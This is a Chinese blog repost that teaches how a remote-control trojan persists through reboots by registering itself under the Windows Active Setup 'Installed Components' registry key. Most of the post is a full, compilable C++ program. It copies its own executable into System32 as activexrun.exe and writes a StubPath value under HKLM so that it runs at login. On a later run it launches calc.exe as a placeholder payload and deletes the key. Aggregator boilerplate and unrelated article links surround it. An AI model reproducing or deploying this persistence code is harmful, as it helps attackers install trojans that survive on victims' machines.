【API】开机自启动- ActiveX启动
发布日期:2021-10-23 14:12:59 浏览次数:7 分类:技术文章

本文共 3660 字,大约阅读时间需要 12 分钟。

一 学习目标

这是一段远程控制木马开机启动的代码,主要使用了ActiveX方式启动。结合自己的理解重新整理了笔记。而作为编程新手入门的自己决定要开始梳理学习目的和订下学习的目标。从今天开始要坚持做到

  • 1.逼自己去看英文版本的MSDN掌握windowsAPI的使用。

  • 2.锻炼编程开发能力,快速开发出安全工具。

  • 3.逆向自己编写的程序熟悉反汇编代码来提升自己的逆向能力,因为逆向和开发的能力是成正比的。

二 编程思路

  • ActiveX启动原理

ActiveX启动是在HKEY_LOCAL_MACHINE下的Software\ Microsoft\Active Setup\Installed Components\中注册一条类似{36f8ec70-c29a-11d1-b5c7-0000f8051515}的子建,然后子键中新建StubPath的值项,内容为启动的文件名

编写的思路

要考虑到如果键值已经存在,那么就删除。如果键值没有,那么就创建

  • 1、打开指定的注册表键 RegOpenKeyEx

第一步则先判断打开的注册表键动作是否成功,根据状态继续执行之后的步骤

    • 1.1 未成功
      • 1.2 获取系统文件夹  GetSystemDirectory
      • 1.3 获取执行文件当前所在目录  GetModuleFileName
      • 1.4 复制自身到系统文件夹中  CopyFile
      • 1.5 新建注册表子键与值项  RegCreateKeyEx
      • 1.6 新建注册表子建值项内容  RegSetValueEx
      • 1.7 关闭注册表句柄  RegCloseKey
    • 2、 成功
      • 执行弹出计算器 WinExec
      • 删除键值 RegDeleteKey

参考文章

[普及]程序自启动方式 - ActiveX

编程实现木马的ActiveX启动和注入IE的启动方式

三 实现流程

编程环境

操作系统:windows 7

编译器版本:vs 2010

前置API函数

// 打开注册表RegOpenKeyEx()// 打开系统目录路径GetSystemDirectory()// 获取当前程序运行目录路径GetModuleFileName()// 复制文件CopyFile()// 创建新的注册表键RegCreateKeyEx()// 修改注册表键值RegSetValueEx()// 释放注册表键句柄RegCloseKey()// 执行程序函数WinExec()// 开启线程_beginthreadex()// 等待线程WaitForSingleObject()// 关闭线程CloseHandle()

C++代码

vs2010,vs2015编译通过

#include "stdafx.h"#include "临时存储Win32项目.h"#include 
// 删除原先创建的键值unsigned __stdcall SecondThreadFunc(void* pArguments){ //删除键值 RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}"); RegDeleteKey(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}"); //结束线程 _endthreadex(0); return 0;}// 执行想要执行的程序void MyCode() { //运行计算器 WinExec("C:\\windows\\system32\\calc.exe", SW_SHOWDEFAULT); // 开启线程,删除之前的注册表GUID HANDLE hThread; unsigned threadID; hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID); // 等待线程结束 WaitForSingleObject(hThread, INFINITE); // 关闭线程 CloseHandle(hThread);}//修改或创建字符串类型的键值void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data){ // 创建新的注册表键 HKEY hKey; long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (ERROR_SUCCESS != lRet) { return; } //修改或创建注册表键值 lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2); if (ERROR_SUCCESS != lRet) { return; } // 释放注册表键句柄 RegCloseKey(hKey);}int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state){ HKEY hKey; DWORD dwDpt = REG_OPENED_EXISTING_KEY; // 打开注册表键值 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey); if (lRet != ERROR_SUCCESS) { WCHAR SelfFile[MAX_PATH]; WCHAR SystemPath[MAX_PATH + 20]; //获取系统目录 GetSystemDirectory(SystemPath, sizeof(SystemPath)); //在系统目录与\\activexrun.exe连接 wcscat_s(SystemPath, L"\\activexrun.exe"); //获取当前进程路径 GetModuleFileName(NULL, SelfFile, MAX_PATH); //ActiveXStart.exe复制到C:\windows\system32目录下 CopyFile(SelfFile, SystemPath, FALSE); //写注册表 CreateStringReg(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}", L"StubPath", SystemPath); return 0; } //如果注册表键值存在就运行下面这个函数 MyCode(); return 0;}

成功截图

549050-20170414192952251-698129426.png

转载于:https://www.cnblogs.com/17bdw/p/6710472.html

转载地址:https://blog.csdn.net/weixin_30588827/article/details/98886352 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Git----常见工作管理总结
下一篇:sqlalchemy(一)常用连接参数及包

发表评论

最新留言

关注你微信了!
[***.104.42.241]2024年02月29日 22时45分32秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章

mysql where从句_《快速念咒——MySQL自学入门指南》:第1章第8节:模糊查询LIKE——一窝兔子(上)... 2019-04-21
mysql 重置密码_mysql忘记密码如何重置密码,以及修改root密码的三种方法 2019-04-21
python-docx tables后追加内容_Mac brew安装MySQL8.0.21后忘记密码(重置密码篇) 2019-04-21
python中两个时间相减结果转为小时_Python起步(二)基础数据类型1 2019-04-21
定义泛化。举个例子_网易考拉应用的dubbo泛化调用,是如何实现的? 2019-04-21
mysql里可以用cube吗_sql server的cube操作符使用详解_mysql 2019-04-21
php mysql 图书_使用PHP+MySQL来对图书管理系统进行构建 2019-04-21
单片机c语言 int1,51单片机into、int1中断计数c语言源程序.doc 2019-04-21
c语言课程设计工资管理建库,C语言课程设计工资管理系统参考.doc 2019-04-21
c语言case中途跳出,break语句在switch结构语句中的作用是终止某个case,并跳出switch结构语句。... 2019-04-21
c51写c语言外部ram头文件,C51中访问外部RAM的方法 2019-04-21
51c语言产生随机证书,基于51单片机的随机数产生器设计-LCD1602-KEY-(电路图+程序源码)... 2019-04-21
C语言编写程序计算高考倒计时天数,基于51单片机LCD12864大字符校时万年历带高考倒计时程序... 2019-04-21
c语言打开一个html文件路径,C语言文件处理-C语言文件的打开和关闭 2019-04-21
普职融通信息技术课本C语言,“三步走”扎实推进“普职融通”办学新模式 2019-04-21
Android多个签名,【Android】Android批量重签名 2019-04-21
html unicode编码转换,JS实现的Unicode编码转换操作示例 2019-04-21
html页面角落放动漫人物,L2Dwidget.js L2D网页动画人物添加 2019-04-21
html图片水平居中,CSS制作图片水平垂直居中 2019-04-21
水滴pin安卓版apk_财务报销管理系统 2019-04-21